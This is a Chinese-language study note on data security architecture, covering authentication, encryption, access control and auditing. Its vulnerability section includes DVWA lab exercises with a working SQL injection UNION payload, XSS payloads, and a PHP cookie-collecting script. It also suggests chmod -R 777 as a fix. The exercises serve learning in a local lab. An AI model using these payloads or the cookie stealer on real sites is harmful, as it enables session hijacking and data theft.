数据安全笔记
前言
数据安全越来越重要
提示:以下是本篇文章正文内容,下面案例可供参考
一、安全架构
安全术语
信息安全最广,数据安全更狭义
安全架构5A方法论
(1) 身份认证 Authentication
(2) 授权 Authorization
(3)访问控制Acccess Control
(4)可审计 Auditable
(5) 资产保护Asset Protection
二、产品安全架构
1.基础三层架构
- 用户接口层(UI)/前端:用户浏览器呈现的部分
- 业务逻辑层:通常与业务链接
- 数据访问层:封装对数据的操作(删除,添加,修改,查询)等
2.B/S架构(浏览器Browser/服务器Server)
- 早期:没有UI,业务逻辑,数据访问的三层分离,因此维护困难,不易于修改,造成攻击
- 发展后
缺点:数据库口令多处存放,加大数据库泄漏风险 - 继续发展:将数据通过数据访问层封装起来,使得业务无法直接接触用户数据
3.C/S架构(客户端Client/服务器Server)
多为企业使用
三、身份认证
1.单点登录(Single Sign On)
所谓单点登录,就是不管管理员工或用户访问哪个业务,只要一个身份认证入口
2.Ticket的使用方式
SSO单点登录系统验证无误后,返回一个认证通过的票据(Ticket),在后面访问中,有如下使用方式:
(1)会话机制
会话(session):由于HTTP协议本身是无状态的,除了请求本身所携带的信息,服务器不会知道更多用户侧信息,特别是不知道用户是谁,是否登录等等, 因此会话可以理解为浏览器和服务器之间的小秘密,用于记录一些常用状态
用户侧:记住 会话ID —>sessionid/sid,通过cookie机制发给浏览器
服务器侧:会话管理器存储着一张表,以下是样例:
会话机制过程:
(2) 全程Ticket机制
(3)持续的消息认证机制
一次性认证后的火花有效期如果设置非常长,就会增加风险,然而太短,用户体验就会不佳,因此引入了持续的消息认证机制,每次请求都进行身份认证,典型的有AEM-GCM(一种对称加密算法),如图:
3.加密算法
ps:
对称加密算法指加密和解密使用相同密钥的加密算法。对称加密算法用来对敏感数据等信息进行加密,常用的算法包括DES、3DES、AES、DESX、Blowfish、、RC4、RC5、RC6。
AES
- 明文P
没有经过加密的数据。
- 密钥K
用来加密明文的密码,在对称加密算法中,加密与解密的密钥是相同的。密钥为接收方与发送方协商产生,但不可以直接在网络上传输,否则会导致密钥泄漏,通常是通过非对称加密算法加密密钥,然后再通过网络传输给对方,或者直接面对面商量密钥。密钥是绝对不可以泄漏的,否则会被攻击者还原密文,窃取机密数据。
- AES加密函数
设AES加密函数为E,则 C = E(K, P),其中P为明文,K为密钥,C为密文。也就是说,把明文P和密钥K作为加密函数的参数输入,则加密函数E会输出密文C。
- 密文C
经加密函数处理后的数据
- AES解密函数
设AES解密函数为D,则 P = D(K, C),其中C为密文,K为密钥,P为明文。也就是说,把密文C和密钥K作为解密函数的参数输入,则解密函数会输出明文P。
https://blog.youkuaiyun.com/f_957995490/article/details/108299292
非对称加密算法指加密和解密使用不同密钥的加密算法,也称为公私钥加密。假设两个用户要加密交换数据,双方交换公钥,使用时一方用对方的公钥加密,另一方即可用自己的私钥解密。
常见的非对称加密算法:RSA、DSA(数字签名用)、ECC(移动设备用)、Diffie-Hellman、El Gamal。
散列算法(Hash算法—单向加密算法)
散列是信息的提炼,通常其长度要比信息小得多,且为一个固定长度。
-
加密性强的散列一定是不可逆的,这就意味着通过散列结果,无法推出任何部分的原始信息。任何输入信息的变化,哪怕仅一位,都将导致散列结果的明显变化,这称之为雪崩效应。
-
散列还应该是防冲突的,即找不出具有相同散列结果的两条信息。具有这些特性的散列结果就可以用于验证信息是否被修改。
Hash算法:特别的地方在于它是一种单向算法,用户可以通过Hash算法对目标信息生成一段特定长度的唯一的Hash值,却不能通过这个Hash值重新获得目标信息。因此Hash算法常用在不可还原的密码存储、信息完整性校验等。
-
单向散列函数一般用于产生消息摘要,密钥加密等,常见的Hash算法:MD2、MD4、MD5、HAVAL、SHA、SHA-1、HMAC、HMAC-MD5、HMAC-SHA1。
4.后台身份认证
四、授权
五、访问控制
1.访问控制三要素
主体,客体,控制策略
2.访问控制策略
- 基于角色
- 基于属性
- 基于任务
- 基于ACL
- 基于专家知识
- 基于IP
- 基于IP
3.漏洞
i.不信任原则
应用系统不能假设用户都是好人,也不能假设内部员工都是好人!!!
因此需要进行:
- 身份认证
- 授权
- 访问控制,执行来源限制,比如指定IP,防火墙等等
ii.缓冲区溢出
为了防止缓冲区溢出,所有接受外部的缓冲区都要进行辩解检查,否则很有可能造成系统奔溃,让黑客获取root权限等等
iii.SQL注入
a.dvwa安装详解 —— 靶机练习
http://192.168.64.2/dvwa/login.php
用户名:admin 密码:password
b. 举个🌰
在User ID中输入口令1,会显示
网站源码为:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
SQL语句为:
SELECT first_name, last_name FROM users WHERE user_id = '1';
经过修改
在User ID中输入口令
1' union select database(),user()#
进行查询 :
- database()将会返回当前网站所使用的数据库名字.
- user()将会返回执行当前查询的用户名.
此时网站源码
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#';"
#把后面的语句变为注释
SQL语句变为
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#'
其余见SQL注入详解
iv.XSS
a.XAMPP搭建自己的网站
虚拟机连接本地IP。。。尝试了好久
子网ip选自动默认就行
b.XSS分类详解
反射型XSS/非持久型
特点:
- 出现在用户登录页面,网站搜索栏等等
- 需要用户点击实现
- 只对当前url连接生效
实验
<form action=""method="get">
<input type="text" name="uname"><br/>
<input type="submit" value="ok">
</form>
<hr/> #下划线
<?php
$username=$_GET['uname'];
echo "<p>hello,".$username."</p>"
?>
出现如下页面
输入<script>alert("ok")</script>
出现如下弹框
将该链接发送给受害者,受害者点击该链接就会产生XSS
存储型XSS/持久型XSS
特点:
- 最常发生在由社区内容驱动的网站或 Web 邮件网站,比如博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis,和其他的许多地方。
实验
dvwa构建的类似于博客的页面中输入:
<script> location="https://www.baidu.com"</script>
页面就会自动跳转到百度
类似的语句还有
#嵌入页面
#正常情况下代码:
<iframe src=https://www.baidu.com width=400 height=300></iframe>
#把页面隐藏起来
<iframe src=https://www.baidu.com width=0 height=0 frameborder=0></iframe>
#获取cookie
<script>alert(document.cookie) </script>
XSS获取cookie
1.自己搭建一个获取cookie的网页
<?php
$cookie=$_GET['cookie'];
$ip=getenv('REMOTE_ADDR');
$time=date('Y-m-d');
$referer=getenv('HTTP_REFERER');
$fp=fopen('cookie.txt','a');
fwrite($fp,",IP:".$ip."|DATE:".$time."|REFERER:".$referer."|COOKIE:".$cookie."|||");
fclose($fp);
?>
而后点击该网页,目录下就会自动生成一个cookie.txt的文件
ps:之前我点击getcookie.php之后一直没有产生cookie.txt,而且显示permission denied in /root/htdocs/。。。
之后电脑终端输入:
sudo chmod -R 777 /path
就好了
再从网页上自己设cookie=test
http://192.168.64.2/网站/getcookie.php?cookie=test
打开cookie.txt之后就会出现
XSS解决方法
- 检查并且拒绝接受不安全的内容 ——>因为大部分XSS发生于用户输入
- 对接受的内容进行转义
比如HTNML中转义字符:
*js/css经常用反斜杠*
CSRF 跨站点请求伪造(Cross—Site Request Forgery)
防跨目录路径操作
SSRF
上传控制 . 防止webshell文件被上传
webshell,以脚本网页文件(PHP,JSP等)形式出现的命令执行环境,也称网页木马
方法
-
只能由处理静态文件的静态服务器处理(apache,Nginx等)。 ps:静态网页 URL 的后缀通常为 .htm 、 .html 、 .shtml 、 .xml 动态网页是以 .asp 、 .jsp 、 .php 、 .perl 、 .cgi 等形式为后缀。具体动静态网页区别
-
用户上传的文件只能放在固定目录下,不能放在解析目录下
-
不能使用原始文件名
Method控制
HTTP请求方法:
- GET:不能使用GET传递敏感数据
- HEAD
- POST
- PUT
- DELETE
- CONNECT
- OPTIONS
- TRACE
防止遍历查询
六、可审计
操作日志的保存与清理
- 时间
- 用户IP
- 用户ID(用户名)
- 操作:增、删、改、查 && 操作对象 :数据或资源
七、资产保护
1.数据存储加密
- AES加密算法
- 结构化数据存储的方式
- 一个安全的加密系统,至少需要二级以上的加密机制
2.数据传输安全
数据安全传输的两种方式:
- 应用层数据不加密,通道加密(如HTTPS).
2.应用层数据加密,通道不加密(比如用AES-GCM加密传输内容)